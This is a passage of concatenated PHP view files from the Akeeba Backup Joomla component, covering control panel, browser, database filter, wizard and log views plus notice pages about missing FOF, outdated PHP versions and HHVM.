	 *
	 * @var  bool
	 */
	public $stuckUpdates = false;

	/**
	 * Cache the user permissions
	 *
	 * @var   array
	 *
	 * @since 5.3.0
	 */
	public $permissions = [];

	/**
	 * Timestamp when the Core user last dismissed the upsell to Pro
	 *
	 * @var   int
	 * @since 7.0.0
	 */
	public $lastUpsellDismiss = 0;

	/**
	 * Is the output directory under the site's root?
	 *
	 * @var   bool
	 * @since 7.0.3
	 */
	public $isOutputDirectoryUnderSiteRoot = false;

	/**
	 * Does the output directory have the expected security files?
	 *
	 * @var   bool
	 * @since 7.0.3
	 */
	public $hasOutputDirectorySecurityFiles = false;

	/**
	 * Executes before displaying the control panel page
	 */
	public function onBeforeMain()
	{
		/** @var ControlPanel $model */
		$model = $this->getModel();

		$statusHelper      = Status::getInstance();
		$this->statsIframe = '';

		try
		{
			/** @var UsageStatistics $usageStatsModel */
			$usageStatsModel = $this->container->factory->model('UsageStatistics')->tmpInstance();

			if (
				is_object($usageStatsModel)
				&& class_exists('Akeeba\\Backup\\Admin\\Model\\UsageStatistics')
				&& ($usageStatsModel instanceof UsageStatistics)
				&& method_exists($usageStatsModel, 'collectStatistics')
			)
			{
				$this->statsIframe = $usageStatsModel->collectStatistics(true);
			}
		}
		catch (\Exception $e)
		{
			// Don't give a crap if usage stats ain't loaded
		}

		$this->getProfileList();
		$this->getProfileIdAndName();

		$this->quickIconProfiles               = $model->getQuickIconProfiles();
		$this->statusCell                      = $statusHelper->getStatusCell();
		$this->detailsCell                     = $statusHelper->getQuirksCell();
		$this->latestBackupCell                = $statusHelper->getLatestBackupDetails();
		$this->areMediaPermissionsFixed        = $model->fixMediaPermissions();
		$this->checkMbstring                   = $model->checkMbstring();
		$this->needsDownloadID                 = $model->needsDownloadID() ? 1 : 0;
		$this->coreWarningForDownloadID        = $model->mustWarnAboutDownloadIDInCore();
		$this->extension_id                    = $model->getState('extension_id', 0, 'int');
		$this->frontEndSecretWordIssue         = $model->getFrontendSecretWordError();
		$this->newSecretWord                   = $this->container->platform->getSessionVar('newSecretWord', null, 'akeeba.cpanel');
		$this->desktopNotifications            = $this->container->params->get('desktop_notifications', '0') ? 1 : 0;
		$this->formattedChangelog              = $this->formatChangelog();
		$this->promptForConfigurationWizard    = Factory::getConfiguration()->get('akeeba.flag.confwiz', 0) == 0;
		$this->countWarnings                   = count(Factory::getConfigurationChecks()->getDetailedStatus());
		$this->stuckUpdates                    = ($this->container->params->get('updatedb', 0) == 1);
		$user                                  = $this->container->platform->getUser();
		$this->permissions                     = [
			'configure' => $user->authorise('akeeba.configure', 'com_akeeba'),
			'backup'    => $user->authorise('akeeba.backup', 'com_akeeba'),
			'download'  => $user->authorise('akeeba.download', 'com_akeeba'),
		];
		$this->isOutputDirectoryUnderSiteRoot  = $model->isOutputDirectoryUnderSiteRoot();
		$this->hasOutputDirectorySecurityFiles = $model->hasOutputDirectorySecurityFiles();

		$this->lastUpsellDismiss = $this->container->params->get('lastUpsellDismiss', 0);

		// Load the version constants
		Platform::getInstance()->load_version_defines();

		// Add the Javascript to the document
		$this->container->template->addJS('media://com_akeeba/js/ControlPanel.min.js', true, false, $this->container->mediaVersion);
		$this->addJSScriptOptions();
	}

	/**
	 * Adds inline Javascript to the document
	 */
	protected function addJSScriptOptions()
	{
		$platform = $this->container->platform;
		$platform->addScriptOptions('akeeba.System.notification.hasDesktopNotification', (bool)$this->desktopNotifications);
		$platform->addScriptOptions('akeeba.ControlPanel.needsDownloadID', (bool) $this->needsDownloadID);
		$platform->addScriptOptions('akeeba.ControlPanel.outputDirUnderSiteRoot', (bool) $this->isOutputDirectoryUnderSiteRoot);
		$platform->addScriptOptions('akeeba.ControlPanel.hasSecurityFiles', (bool) $this->hasOutputDirectorySecurityFiles);
	}

	protected function formatChangelog($onlyLast = false)
	{
		$ret   = '';
		$file  = $this->container->backEndPath . '/CHANGELOG.php';
		$lines = @file($file);

		if (empty($lines))
		{
			return $ret;
		}

		array_shift($lines);

		foreach ($lines as $line)
		{
			$line = trim($line);

			if (empty($line))
			{
				continue;
			}

			$type = substr($line, 0, 1);

			switch ($type)
			{
				case '=':
					continue 2;
					break;

				case '+':
					$ret .= "\t" . '<li><span class="akeeba-label--green">Added</span> ' . htmlentities(trim(substr($line, 2))) . "</li>\n";
					break;

				case '-':
					$ret .= "\t" . '<li><span class="akeeba-label--grey">Removed</span> ' . htmlentities(trim(substr($line, 2))) . "</li>\n";
					break;

				case '~':
				case '^':
					$ret .= "\t" . '<li><span class="akeeba-label--grey">Changed</span> ' . htmlentities(trim(substr($line, 2))) . "</li>\n";
					break;

				case '*':
					$ret .= "\t" . '<li><span class="akeeba-label--red">Security</span> ' . htmlentities(trim(substr($line, 2))) . "</li>\n";
					break;

				case '!':
					$ret .= "\t" . '<li><span class="akeeba-label--orange">Important</span> ' . htmlentities(trim(substr($line, 2))) . "</li>\n";
					break;

				case '#':
					$ret .= "\t" . '<li><span class="akeeba-label--teal">Fixed</span> ' . htmlentities(trim(substr($line, 2))) . "</li>\n";
					break;

				default:
					if (!empty($ret))
					{
						$ret .= "</ul>";
						if ($onlyLast)
						{
							return $ret;
						}
					}

					if (!$onlyLast)
					{
						$ret .= "<h4>$line</h4>\n";
					}
					$ret .= "<ul class=\"akeeba-changelog\">\n";

					break;
			}
		}

		return $ret;
	}
}
com_akeeba/View/Browser/Html.php000060400000004525152455305260012575 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\View\Browser;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Model\Browser;
use FOF40\View\DataView\Html as BaseView;

class Html extends BaseView
{
	/**
	 * Path to current folder (with variables such as [SITEROOT] replaced)
	 *
	 * @var  string
	 */
	public $folder = '';

	/**
	 * Path to current folder (WITHOUT variables such as [SITEROOT] replaced)
	 *
	 * @var  string
	 */
	public $folder_raw = '';

	/**
	 * Parent folder
	 *
	 * @var  string
	 */
	public $parent = '';

	/**
	 * Does the current folder exist in the filesystem?
	 *
	 * @var  bool
	 */
	public $exists = false;

	/**
	 * Is the current folder under the site's root directory? False means it's an off-site directory.
	 *
	 * @var  bool
	 */
	public $inRoot = false;

	/**
	 * Is the current folder restricted by open_basedir?
	 *
	 * @var  bool
	 */
	public $openbasedirRestricted = false;

	/**
	 * Is the current folder writable?
	 *
	 * @var  bool
	 */
	public $writable = false;

	/**
	 * Subdirectories
	 *
	 * @var  array
	 */
	public $subfolders = [];

	/**
	 * Breadcrumbs to display in the browser view
	 *
	 * @var  array
	 */
	public $breadcrumbs = [];

	protected function onBeforeMain()
	{
		// Load the view-specific Javascript
		$this->container->template->addJS('media://com_akeeba/js/Browser.min.js', true, false, $this->container->mediaVersion);

		/** @var Browser $model */
		$model = $this->getModel();

		// Pass the data from the model to the view template
		$this->folder                = $model->getState('folder', '', 'string');
		$this->folder_raw            = $model->getState('folder_raw', '', 'string');
		$this->parent                = $model->getState('parent', '', 'string');
		$this->exists                = $model->getState('exists', 0, 'boolean');
		$this->inRoot                = $model->getState('inRoot', 0, 'boolean');
		$this->openbasedirRestricted = $model->getState('openbasedirRestricted', 0, 'boolean');
		$this->writable              = $model->getState('writable', 0, 'boolean');
		$this->subfolders            = $model->getState('subfolders');
		$this->breadcrumbs           = $model->getState('breadcrumbs');
	}
}
com_akeeba/View/fof.php000060400000005035152455305260011015 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2021 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

$tooLongAgo = (int) gmdate('Y') - 2015;
?>

<div style="margin: 1em">
	<h1>Akeeba Framework-on-Framework (FOF) version 3 could not be found on this site</h1>
	<hr/>
	<div class="alert alert-warning">
		<h2>
			This component requires the Akeeba FOF framework package to be installed on your site. Please go to <a
					href="https://www.akeeba.com/download/fof3.html">our download page</a> to download it, then install it on your site.
		</h2>
	</div>
	<hr/>
	<h4>Further information</h4>
	<p>
		FOF is a Joomla component framework. It's the low level code which sits between our Joomla! extensions and
		Joomla! itself. It is automatically installed when you install our extensions on your site.
	</p>
	<p>
		FOF can be missing from your site either because Joomla failed to install it or because you, another Super User,
		or another extension mistakenly uninstalled it.
	</p>
	<p>
		If it's missing, our components cannot talk to Joomla &mdash; or vice versa. Because of that they can not run.
		That's why you see this message.
	</p>
	<p>
		You do not have to worry about adding bloat to your site. FOF is very small. It will also be automatically
		uninstalled when you uninstall all components which depend on it.
	</p>
	<p>
		FOF is installed in the <code><?php echo JPATH_LIBRARIES . DIRECTORY_SEPARATOR?>/fof30</code> folder on your
		server. It appears in Joomla's Extensions, Manage page as <code>FOF30</code>. Please do not remove it from your
		site.
	</p>
<?php if (version_compare(JVERSION, '3.9999.9999', 'le')): ?>
	<h4>Why do I have multiple FOF entries in Joomla?</h4>
	<p>
		Joomla <?php echo JVERSION ?> includes an <em>old, obsolete</em> version of FOF - version 2.x. It is installed
		in the <code><?php echo JPATH_LIBRARIES . DIRECTORY_SEPARATOR ?>fof</code> folder on your server. It appears in
		Joomla's Extensions, Manage page as <code>FOF</code>. Please do not remove it from your site; Joomla needs it
		to function properly.
	</p>
	<p>
		We discontinued FOF 2.x in 2015 &mdash; that's <?php echo $tooLongAgo ?> years ago. Ever since, we replaced it
		with FOF 3.x. The two versions are incompatible with each other but both are required; FOF 2.x for Joomla!
		itself and FOF 3.x for our extensions. That's why you see both. You must not remove either of them or something
		will break!
	</p>
<?php endif; ?>
</div>
com_akeeba/View/wrongphp.php000060400000026357152455305260012121 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2021 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

(defined('_JEXEC') || defined('WPINC') || defined('APATH_BASE') || defined('AKEEBA_COMMON_WRONGPHP') || defined('KICKSTART')) or die;

if (!function_exists('akeeba_common_wrongphp'))
{
	/**
	 * This function checks if you are using an obsolete PHP version. It returns and boolean status and optionally
	 * prints an error page if your PHP version is, indeed, too old.
	 *
	 * * minPHPVersion: minimum PHP version supported by this software, e.g. "7.2.0"
	 * * recommendedPHPVersion: recommended PHP version to use with this software, e.g. "7.3"
	 * * softwareName: human-readable software name, e.g. "Akeeba Example"
	 * * silentResutls: suppress error messages on old PHP version, just return false (default: TRUE)
	 * * longVersion: current PHP version, long format, e.g. "7.3.1-12ubuntu3.2". Skip to automatically determine.
	 * * shortVersion: current PHP version, short format, e.g. "7.3". Skip to automatically determine.
	 * * currentTimestamp: current UNIX timestamp. Skip to automatically determine.
	 *
	 * You need to provide at the very least the minPHPVersion, recommendedPHPVersion and softwareName.
	 *
	 * @param  array  $config
	 *
	 * @return bool  FALSE if your PHP version is too old. TRUE if your PHP version is still supported.
	 * @throws Exception
	 */
	function akeeba_common_wrongphp($config = array())
	{
		/**
		 * Format: version => [maintenance_date, eol_date]
		 *
		 * For versions older than 5.6 we use a fake maintenance_date because this information no longer exists on PHP's
		 * site and it's irrelevant anyway; these PHP versions are already EOL therefore we only use their EOL date.
		 */
		$phpDates = array(
			'3.0' => array('1990-01-01 00:00:00', '2000-10-20 00:00:00'),
			'4.0' => array('1990-01-01 00:00:00', '2001-06-23 00:00:00'),
			'4.1' => array('1990-01-01 00:00:00', '2002-03-12 00:00:00'),
			'4.2' => array('1990-01-01 00:00:00', '2002-09-06 00:00:00'),
			'4.3' => array('1990-01-01 00:00:00', '2005-03-31 00:00:00'),
			'4.4' => array('1990-01-01 00:00:00', '2008-08-07 00:00:00'),
			'5.0' => array('1990-01-01 00:00:00', '2005-09-05 00:00:00'),
			'5.1' => array('1990-01-01 00:00:00', '2006-08-24 00:00:00'),
			'5.2' => array('1990-01-01 00:00:00', '2011-01-11 00:00:00'),
			'5.3' => array('1990-01-01 00:00:00', '2014-08-14 00:00:00'),
			'5.4' => array('1990-01-01 00:00:00', '2015-09-03 00:00:00'),
			'5.5' => array('1990-01-01 00:00:00', '2016-07-10 00:00:00'),
			'5.6' => array('2017-01-10 00:00:00', '2018-12-31 00:00:00'),
			'7.0' => array('2018-01-01 00:00:00', '2019-01-10 00:00:00'),
			'7.1' => array('2018-12-01 00:00:00', '2019-12-01 00:00:00'),
			'7.2' => array('2019-11-30 00:00:00', '2020-11-30 00:00:00'),
			'7.3' => array('2020-12-06 00:00:00', '2021-12-06 00:00:00'),
			'7.4' => array('2021-11-28 00:00:00', '2022-11-28 00:00:00'),
			'8.0' => array('2022-11-26 00:00:00', '2023-11-26 00:00:00'),
		);

		// Make sure I have all necessary configuration variables
		$config = array_merge(array(
			'minPHPVersion'         => '7.2.0',
			'recommendedPHPVersion' => '7.3',
			'softwareName'          => 'This software',
			'silentResults'         => false,
			'longVersion'           => PHP_VERSION,
			'shortVersion'          => sprintf('%d.%d', PHP_MAJOR_VERSION, PHP_MINOR_VERSION),
			'currentTimestamp'      => time(),
		), $config);

		// Selectively extract configuration variables. Do not use extract(), it's potentially dangerous.
		$minPHPVersion         = $config['minPHPVersion'];
		$recommendedPHPVersion = $config['recommendedPHPVersion'];
		$softwareName          = $config['softwareName'];
		$silentResults         = $config['silentResults'];
		$longVersion           = $config['longVersion'];
		$shortVersion          = $config['shortVersion'];
		$currentTimestamp      = $config['currentTimestamp'];

		if (!version_compare($longVersion, $minPHPVersion, 'lt'))
		{
			unset($minPHPVersion, $recommendedPHPVersion, $softwareName, $longVersion, $shortVersion, $phpDates,
				$silentResults, $currentTimestamp);

			return true;
		}

// Typically used in the frontend to not divulge any information about the server
		if ($silentResults)
		{
			return false;
		}

		/**
		 * Safe defaults for PHP versions older than 5.3.0.
		 *
		 * Older PHP versions don't even have support for DateTime so we need these defaults to prevent this warning script from
		 * bringing the site down with an error.
		 */
		$isEol      = true;
		$isAncient  = true;
		$isSecurity = false;
		$isCurrent  = false;

		$eolDateFormatted      = $phpDates[$shortVersion][1];
		$securityDateFormatted = $phpDates[$shortVersion][0];


		/**
		 * This can only work on PHP 5.2.0 or later
		 */
		if (version_compare($longVersion, '5.2.0', 'ge'))
		{
			$tzGmt        = new DateTimeZone('GMT');
			$securityDate = new DateTime($phpDates[$shortVersion][0], $tzGmt);
			$eolDate      = new DateTime($phpDates[$shortVersion][1], $tzGmt);

			/**
			 * Ancient:  This PHP version has reached end-of-life more than 2 years ago
			 * EOL:      This PHP version has reached end-of-life
			 * Security: This PHP version has reached the Security Support date but not the EOL date yet
			 * Current:  This PHP version is still in Active Support
			 */
			$isEol      = $eolDate->getTimestamp() <= $currentTimestamp;
			$isAncient  = $isEol && (($currentTimestamp - $eolDate->getTimestamp()) >= 63072000);
			$isSecurity = !$isEol && ($securityDate->getTimestamp() <= $currentTimestamp);
			$isCurrent  = !$isEol && !$isSecurity;

			$eolDateFormatted      = $eolDate->format('l, d F Y');
			$securityDateFormatted = $securityDate->format('l, d F Y');
		}

		$characterization = $isCurrent ? 'unsupported' : 'older';
		$characterization = $isEol ? 'obsolete' : $characterization;
		$characterization = $isAncient ? 'dangerously obsolete' : $characterization;

		?>

		<div style="margin: 1em">
			<p style="font-size: 180%; margin: 2em 1em; padding: 2em 1em; text-align: center; border: thin solid #f0ad4e; background-color: gold; font-weight: bold; border-radius: 0.25em">
				<?php echo $softwareName ?> requires PHP <?php echo $minPHPVersion ?> or later.
			</p>
			<h2><?php echo ucfirst($characterization) ?> PHP version <?php echo $longVersion ?> detected</h2>
			<hr />
			<p>
				We recommend that you upgrade your site to PHP <?php echo $recommendedPHPVersion ?> or later. If you are
				unsure how to do this, please ask your host.
			</p>
			<p>
				<a href="https://www.akeeba.com/how-do-version-numbers-work.html">Version numbers don't make
					sense?</a>
			</p>

			<hr />

			<?php if ($isAncient): ?>
				<h3>Urgent security advice</h3>

				<p>
					Your version of PHP, <?php echo $longVersion ?>, <a href="http://php.net/eol.php">has reached the end
						of its life</a> a <strong>very</strong> long time ago, namely on
					<?php echo $eolDateFormatted ?>. It has known security vulnerabilities which are used to
					compromise (“hack”) web servers. It is no longer safe using it in production. You are <strong>VERY
						STRONGLY</strong> advised to upgrade your server to a <a
							href="https://www.php.net/supported-versions.php">supported PHP version</a> as soon as possible.
				</p>
			<?php elseif ($isEol): ?>
				<h3>Security advice</h3>

				<p>
					Your version of PHP, <?php echo $longVersion ?>, <a href="http://php.net/eol.php">has reached the end
						of its life</a> on <?php echo $eolDateFormatted ?>. End-of-life PHP versions may have
					as-yet-undiscovered security vulnerabilities which can be used to compromise (“hack”) your site. It is
					no
					longer safe using it in production, even if your host or your Linux distribution claim otherwise – the
					PHP
					developers themselves have said time over time that not all security vulnerabilities fixes can be
					backported
					to End-of-Life versions of PHP since they may require architectural changes in PHP itself. You are
					<strong>strongly</strong> advised to upgrade your server to a <a
							href="https://www.php.net/supported-versions.php">supported PHP version</a> as soon as possible.
				</p>

			<?php elseif ($isSecurity): ?>
				<h3>Security reminder</h3>

				<p>
					Your version of PHP, <?php echo $longVersion ?>, has entered the “Security Support” phase of its life on
					<?php echo $securityDateFormatted ?>. As such, only security issues will be addressed but not
					any of its known functional issues (“bugs”). Unfixed functional issues in PHP can lead to your site not
					working
					properly. It is advisable to plan migrating your site to a
					<a href="https://www.php.net/supported-versions.php">supported PHP version</a> no later than
					<?php echo $eolDateFormatted ?> – that's when PHP
					<?php echo $shortVersion ?> will become End-of-Life, therefore
					completely
					unsuitable for use on a live server.
				</p>
			<?php endif; ?>

			<?php if ($isSecurity || $isCurrent): ?>
				<h3>Why is my PHP version not supported?</h3>

				<p>
					Even though PHP <?php echo $shortVersion ?> will be supported by the PHP
					project until <?php echo $eolDateFormatted ?> we are unfortunately unable to provide
					support for it in our software. This has to do either with missing features or third party libraries.
					Older
					PHP versions are missing features we require for our software to work efficiently and be written in a
					way
					that makes it possible for us to provide a plethora of relevant features while maintaining good quality
					control. Moreover, third party libraries we use to provide some of the software's features do not
					support
					older PHP versions for the same reason – so even if we don't absolutely need to use at least PHP
					<?php echo $minPHPVersion ?> the third party libraries do, making it impossible for our software to run on
					your
					older version <?php echo $shortVersion ?>. We apologize for the inconvenience.
				</p>
				<p>
					We'd like to remind you, however, that newer PHP versions are always faster and more well-tested than
					their
					predecessors. Upgrading your site to a newer PHP version will not only let our software run but will
					also
					make your site faster, more stable and help it perform better in search engine results.
				</p>
			<?php endif; ?>
		</div>

		<?php return false;
	}
}

/**
 * Immediately executes the akeeba_common_wrongphp() function on all of our software except Kickstart.
 */
if (!defined('KICKSTART'))
{
	try
	{
		return akeeba_common_wrongphp(array(
			// Configuration -- Override before calling this script
			'minPHPVersion'         => isset($minPHPVersion) ? $minPHPVersion : '7.2.0',
			'recommendedPHPVersion' => isset($recommendedPHPVersion) ? $recommendedPHPVersion : '7.3',
			'softwareName'          => isset($softwareName) ? $softwareName : 'This software',
			'silentResults'         => isset($silentResults) ? $silentResults : false,
			// Override these to test the script
			'longVersion'           => isset($longVersion) ? $longVersion : PHP_VERSION,
			'shortVersion'          => isset($shortVersion) ? $shortVersion : sprintf('%d.%d', PHP_MAJOR_VERSION, PHP_MINOR_VERSION),
			'currentTimestamp'      => isset($currentTimestamp) ? $currentTimestamp : time(),
		));
	}
	catch (Exception $e)
	{
		// This should never happen
		return false;
	}
}com_akeeba/View/DatabaseFilters/Html.php000060400000007364152455305260014213 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\View\DatabaseFilters;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Model\DatabaseFilters;
use Akeeba\Backup\Admin\View\ViewTraits\ProfileIdAndName;
use FOF40\View\DataView\Html as BaseView;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Uri\Uri as JUri;

/**
 * View for database table exclusion
 */
class Html extends BaseView
{
	use ProfileIdAndName;

	/**
	 * SELECT element for choosing a database root
	 *
	 * @var  string
	 */
	public $root_select = '';

	/**
	 * List of database roots
	 *
	 * @var  array
	 */
	public $roots = [];

	/**
	 * Main page
	 */
	public function onBeforeMain()
	{
		// Load Javascript files
		$this->container->template->addJS('media://com_akeeba/js/FileFilters.min.js', true, false, $this->container->mediaVersion);
		$this->container->template->addJS('media://com_akeeba/js/DatabaseFilters.min.js', true, false, $this->container->mediaVersion);

		/** @var DatabaseFilters $model */
		$model = $this->getModel();

		// Add custom submenus
		$task    = $model->getState('browse_task', 'normal', 'cmd');
		$toolbar = $this->container->toolbar;

		$toolbar->appendLink(
			JText::_('COM_AKEEBA_FILEFILTERS_LABEL_NORMALVIEW'),
			JUri::base() . 'index.php?option=com_akeeba&view=DatabaseFilters&task=normal',
			($task == 'normal')
		);
		$toolbar->appendLink(
			JText::_('COM_AKEEBA_FILEFILTERS_LABEL_TABULARVIEW'),
			JUri::base() . 'index.php?option=com_akeeba&view=DatabaseFilters&task=tabular',
			($task == 'tabular')
		);

		// Get a JSON representation of the available roots
		$root_info = $model->get_roots();
		$roots     = [];
		$options   = [];

		if (!empty($root_info))
		{
			// Loop all dir definitions
			foreach ($root_info as $def)
			{
				$roots[]   = $def->value;
				$options[] = JHtml::_('select.option', $def->value, $def->text);
			}
		}

		$siteRoot          = '[SITEDB]';
		$selectOptions     = [
			'list.select' => $siteRoot,
			'id'          => 'active_root',
		];
		$this->root_select = JHtml::_('select.genericlist', $options, 'root', $selectOptions);
		$this->roots       = $roots;
		$platform          = $this->container->platform;

		// Add script options
		$platform->addScriptOptions('akeeba.System.params.AjaxURL', 'index.php?option=com_akeeba&view=DatabaseFilters&task=ajax');

		switch ($task)
		{
			case 'normal':
			default:
				$this->setLayout('default');

				// Get the database entities GUI data
				$platform->addScriptOptions('akeeba.DatabaseFilters.guiData', $model->make_listing($siteRoot));
				$platform->addScriptOptions('akeeba.DatabaseFilters.viewType', 'list');

				break;

			case 'tabular':
				$this->setLayout('tabular');

				// Get the filter data for tabular display
				$platform->addScriptOptions('akeeba.DatabaseFilters.guiData', $model->get_filters($siteRoot));
				$platform->addScriptOptions('akeeba.DatabaseFilters.viewType', 'tabular');


				break;
		}

		// Translations
		JText::script('COM_AKEEBA_FILEFILTERS_LABEL_UIROOT');
		JText::script('COM_AKEEBA_FILEFILTERS_LABEL_UIERRORFILTER');
		JText::script('COM_AKEEBA_DBFILTER_TYPE_TABLES');
		JText::script('COM_AKEEBA_DBFILTER_TYPE_TABLEDATA');
		JText::script('COM_AKEEBA_DBFILTER_TABLE_MISC');
		JText::script('COM_AKEEBA_DBFILTER_TABLE_TABLE');
		JText::script('COM_AKEEBA_DBFILTER_TABLE_VIEW');
		JText::script('COM_AKEEBA_DBFILTER_TABLE_PROCEDURE');
		JText::script('COM_AKEEBA_DBFILTER_TABLE_FUNCTION');
		JText::script('COM_AKEEBA_DBFILTER_TABLE_TRIGGER');
		JText::script('COM_AKEEBA_DBFILTER_TABLE_META_ROWCOUNT');

		$this->getProfileIdAndName();
	}
}
com_akeeba/View/hhvm.php000060400000002441152455305260011203 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2021 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

?>

<div style="margin: 1em">
	<h1>We have detected that you are running HHVM instead of PHP. This software WILL NOT WORK properly on HHVM. Please switch to PHP 7 instead.</h1>
	<hr/>
	<p>
        HHVM was Facebook's attempt at modernizing the PHP 5.x language and making it faster. Unfortunately it's also incompatible with PHP proper.
        PHP 7 has solved all these issues. It's fast, modern and <em>fully compatible with our software</em>.
        Please switch to PHP 7. If you are unsure how to do that, contact your host or the person responsible for maintaining your server.
        They are the only people who can help you configure your server.
	</p>
	<p>
        Kindly note that HHVM is not -and has never been- a supported execution environment for our software.
        As a result, if you see this message on your site you are unfortunately ineligible for support and / or filing bug reports.
        Please switch to PHP 7. If your problem persists after that we can help you / accept your bug report. Thank you for your understanding.
	</p>
</div>
com_akeeba/View/ViewTraits/ProfileList.php000060400000002500152455305260014572 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\View\ViewTraits;

// Protect from unauthorized access
use Joomla\CMS\HTML\HTMLHelper;

defined('_JEXEC') || die();

trait ProfileList
{
	/**
	 * List of backup profiles, for use with JHtmlSelect
	 *
	 * @var   array
	 */
	public $profileList = [];

	/**
	 * Populates the profileList property with an options list for use by JHtmlSelect
	 *
	 * @param   bool  $includeId  Should I include the profile ID in front of the name?
	 *
	 * @return  void
	 */
	protected function getProfileList($includeId = true)
	{
		/** @var \JDatabaseDriver $db */
		$db = $this->container->db;

		$query = $db->getQuery(true)
			->select([
				$db->qn('id'),
				$db->qn('description'),
			])->from($db->qn('#__ak_profiles'))
			->order($db->qn('id') . " ASC");

		$db->setQuery($query);
		$rawList = $db->loadAssocList();

		$this->profileList = [];

		if (!is_array($rawList))
		{
			return;
		}

		foreach ($rawList as $row)
		{
			$description = $row['description'];

			if ($includeId)
			{
				$description = '#' . $row['id'] . '. ' . $description;
			}

			$this->profileList[] = HTMLHelper::_('select.option', $row['id'], $description);
		}
	}
}
com_akeeba/View/ViewTraits/ProfileIdAndName.php000060400000002567152455305260015454 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\View\ViewTraits;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Model\Profiles;
use Akeeba\Engine\Platform;

trait ProfileIdAndName
{
	/**
	 * Active profile ID
	 *
	 * @var  int
	 */
	public $profileId = 0;

	/**
	 * Active profile's description
	 *
	 * @var  string
	 */
	public $profileName = '';

	/**
	 * Is this profile available as an One Click Backup icon? 0/1
	 *
	 * @var  int
	 */
	public $quickIcon = 0;

	/**
	 * Find the currently active profile ID and name and put them in properties accessible by the view template
	 */
	protected function getProfileIdAndName()
	{
		/** @var Profiles $profilesModel */
		$profilesModel = $this->container->factory->model('Profiles')->tmpInstance();
		$profileId     = Platform::getInstance()->get_active_profile();

		try
		{
			$this->profileName = $profilesModel->findOrFail($profileId)->description;
			$this->profileId   = $profileId;
			$this->quickIcon   = $profilesModel->quickicon;
		}
		catch (\Exception $e)
		{
			$this->container->platform->setSessionVar('profile', 1, 'akeeba');

			$this->profileId   = 1;
			$this->profileName = $profilesModel->findOrFail(1)->description;
		}
	}
}
com_akeeba/View/ConfigurationWizard/Html.php000060400000003250152455305260015134 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\View\ConfigurationWizard;

// Protect from unauthorized access
defined('_JEXEC') || die();

use FOF40\View\DataView\Html as BaseView;
use Joomla\CMS\Language\Text;

class Html extends BaseView
{
	protected function onBeforeMain()
	{
		// Push translations
		// -- Wizard
		Text::script('COM_AKEEBA_CONFWIZ_UI_MINEXECTRY');
		Text::script('COM_AKEEBA_CONFWIZ_UI_CANTSAVEMINEXEC');
		Text::script('COM_AKEEBA_CONFWIZ_UI_SAVEMINEXEC');
		Text::script('COM_AKEEBA_CONFWIZ_UI_CANTDETERMINEMINEXEC');
		Text::script('COM_AKEEBA_CONFWIZ_UI_CANTFIXDIRECTORIES');
		Text::script('COM_AKEEBA_CONFWIZ_UI_CANTDBOPT');
		Text::script('COM_AKEEBA_CONFWIZ_UI_EXECTOOLOW');
		Text::script('COM_AKEEBA_CONFWIZ_UI_SAVINGMAXEXEC');
		Text::script('COM_AKEEBA_CONFWIZ_UI_CANTSAVEMAXEXEC');
		Text::script('COM_AKEEBA_CONFWIZ_UI_CANTDETERMINEPARTSIZE');
		Text::script('COM_AKEEBA_CONFWIZ_UI_PARTSIZE');

		// -- Backup
		Text::script('COM_AKEEBA_BACKUP_TEXT_LASTRESPONSE', true);

		// Load the Configuration Wizard Javascript file
		$this->container->template->addJS('media://com_akeeba/js/Backup.min.js', true, false, $this->container->mediaVersion);
		$this->container->template->addJS('media://com_akeeba/js/ConfigurationWizard.min.js', true, false, $this->container->mediaVersion);

		$platform = $this->container->platform;
		$platform->addScriptOptions('akeeba.System.params.AjaxURL', 'index.php?option=com_akeeba&view=ConfigurationWizard&task=ajax');

		// Set the layour
		$this->setLayout('wizard');
	}
}
com_akeeba/View/Log/Html.php000060400000005043152455305260011667 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\View\Log;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Model\Log;
use Akeeba\Backup\Admin\View\ViewTraits\ProfileIdAndName;
use Akeeba\Engine\Factory;
use FOF40\View\DataView\Html as BaseView;
use Joomla\CMS\HTML\HTMLHelper;

/**
 * View controller for the Log Viewer page
 */
class Html extends BaseView
{
	use ProfileIdAndName;

	/**
	 * Big log file threshold: 2Mb
	 */
	public const bigLogSize = 2097152;
	/**
	 * JHtml list of available log files
	 *
	 * @var  array
	 */
	public $logs = [];
	/**
	 * Currently selected log file tag
	 *
	 * @var  string
	 */
	public $tag;
	/**
	 * Is the select log too big for being
	 *
	 * @var bool
	 */
